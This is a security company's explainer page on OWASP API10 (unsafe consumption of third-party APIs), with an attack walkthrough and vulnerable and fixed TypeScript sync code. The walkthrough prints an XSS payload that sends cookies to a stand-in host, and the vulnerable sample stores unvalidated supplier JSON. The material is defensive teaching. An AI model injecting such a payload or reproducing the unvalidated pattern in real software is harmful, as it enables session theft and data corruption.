• Agents
  • Pricing
  • Blog
Log in
Get started

Security for apps built with AI. Paste a URL, get a report, fix what matters.

Product

  • How it works
  • What we find
  • Pricing
  • Agents
  • MCP Server
  • CLI
  • GitHub Action

Resources

  • Guides
  • Blog
  • Docs
  • OWASP Top 10
  • Glossary
  • FAQ

Security

  • Supabase Security
  • Next.js Security
  • Lovable Security
  • Cursor Security
  • Bolt Security

Legal

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • Imprint
© 2026 Flowpatrol. All rights reserved.
Home/OWASP Top 10/API Top 10/API10: Unsafe Consumption of APIs
API10CWE-20CWE-200

Trusting the other API because you like the company that runs it
Unsafe Consumption of APIs

Your code validates user input and then trusts the JSON from a third-party API like it came from God.

New for 2023 — and one of the fastest-growing patterns as AI apps wire themselves into every third-party service.

Reference: API Top 10 (2023) — API10·Last updated April 7, 2026·By Flowpatrol Team
Unsafe Consumption of APIs illustration

Your app is careful about what the user sends it. Every field validated, every string escaped. Then you call a partner API, parse the JSON, and drop it straight into your database. The partner is a real company with a real contract. The partner's API is an attacker's input to your system, and nobody told you to treat it that way.

Unsafe Consumption of APIs is when your app treats another API's response as trusted data. You validate what your users send you, then turn around and hand the JSON from a partner feed straight to your database, your template, or your browser. The partner is not necessarily malicious — they just might be compromised, buggy, or have changed their schema this week.

What your AI actually built

You asked for an integration. Pull product data from a supplier feed. Enrich a profile with LinkedIn data. Call a weather API and cache the response. Stripe webhook. Shopify webhook. 'Login with Google.' The model happily wrote the fetch, parsed the JSON, and stored the result.

What it did not do was treat that JSON as untrusted input. It did not validate the shape, did not cap the size, did not escape the strings before rendering them, did not check the redirect, did not verify the signature. The upstream service is trusted by name. Its response is not.

The nasty version is a trusted partner whose own API is compromised — or is simply buggy. They return HTML in a field that used to be a plain string. Your app renders it. You now have XSS from a source that is not in any security tutorial, because it is not 'the user.'

How it gets exploited

An e-commerce app pulls product listings from a third-party drop-shipping API. New products appear automatically.

  1. 1
    Compromise the upstream
    The attacker finds a way — social engineering, a leaked API key, their own seller account — to edit product descriptions on the drop-shipping platform.
  2. 2
    Inject through the pipe
    They set a product description to <script>fetch('https://evil.example/?c='+document.cookie)</script>. The downstream app pulls the feed and caches it.
  3. 3
    Hit every store
    Every e-commerce site consuming that feed now renders the script on the product page. The app validated the form inputs from its own users but treated the supplier JSON as safe.
  4. 4
    Follow the redirect
    Same app also uses the supplier API for product images. The supplier returns a 302 to an internal URL. Image proxy follows it. See also: API7.

One compromise at one supplier becomes a compromise at every downstream app consuming the feed. The downstream apps are 'correct' — their own user input is validated. They just never considered that the upstream was input too.

Vulnerable vs Fixed

Vulnerable — trust the partner, parse and store
// lib/sync-products.ts
export async function syncProducts() {
  const res = await fetch('https://supplier.example/api/products');
  const data = await res.json();

  // Straight into the database — shape, size, content all trusted.
  for (const product of data.products) {
    await db.product.upsert({
      where: { sku: product.sku },
      create: product,
      update: product,
    });
  }
}
Fixed — validate the response like it was a user
// lib/sync-products.ts
import { z } from 'zod';

const ProductSchema = z.object({
  sku: z.string().max(64),
  title: z.string().max(200),
  description: z.string().max(5_000),
  priceCents: z.number().int().min(0).max(100_000_00),
  imageUrl: z.string().url().startsWith('https://'),
});
const FeedSchema = z.object({
  products: z.array(ProductSchema).max(1_000),
});

export async function syncProducts() {
  const res = await fetch('https://supplier.example/api/products', {
    redirect: 'error',
    signal: AbortSignal.timeout(10_000),
  });
  if (!res.ok) throw new Error('supplier returned ' + res.status);

  const raw = await res.json();
  const feed = FeedSchema.parse(raw); // throws on shape drift

  for (const product of feed.products) {
    await db.product.upsert({
      where: { sku: product.sku },
      create: product,
      update: product,
    });
  }
}

Every third-party response gets a schema. Every string has a max length. Every URL is https and resolved. Redirects are off. The partner is still trusted to exist and pay their bills — their JSON is not trusted to have the shape you expect.

A real case

Ledger — a supply chain compromise through a trusted dependency

In 2023, an attacker compromised a third-party npm package that Ledger applications loaded at runtime — every downstream app that trusted the upstream shipped malicious code to its users without a single line of their own code changing.

Related reading

Glossary

Server-Side Request Forgery (SSRF)Unprotected Object Binding (Mass Assignment)

What we find

unsafe third party consumption

References

  • API10: Unsafe Consumption of APIs — official OWASP entry
  • OWASP API Security Top 10 (2023) — full list
  • CWE-20 on cwe.mitre.org
  • CWE-200 on cwe.mitre.org

Find the partners your app trusts too much.

Flowpatrol maps every outbound integration in your app and shows which responses you handle safely and which you just believe. Five minutes. One URL.

Try it free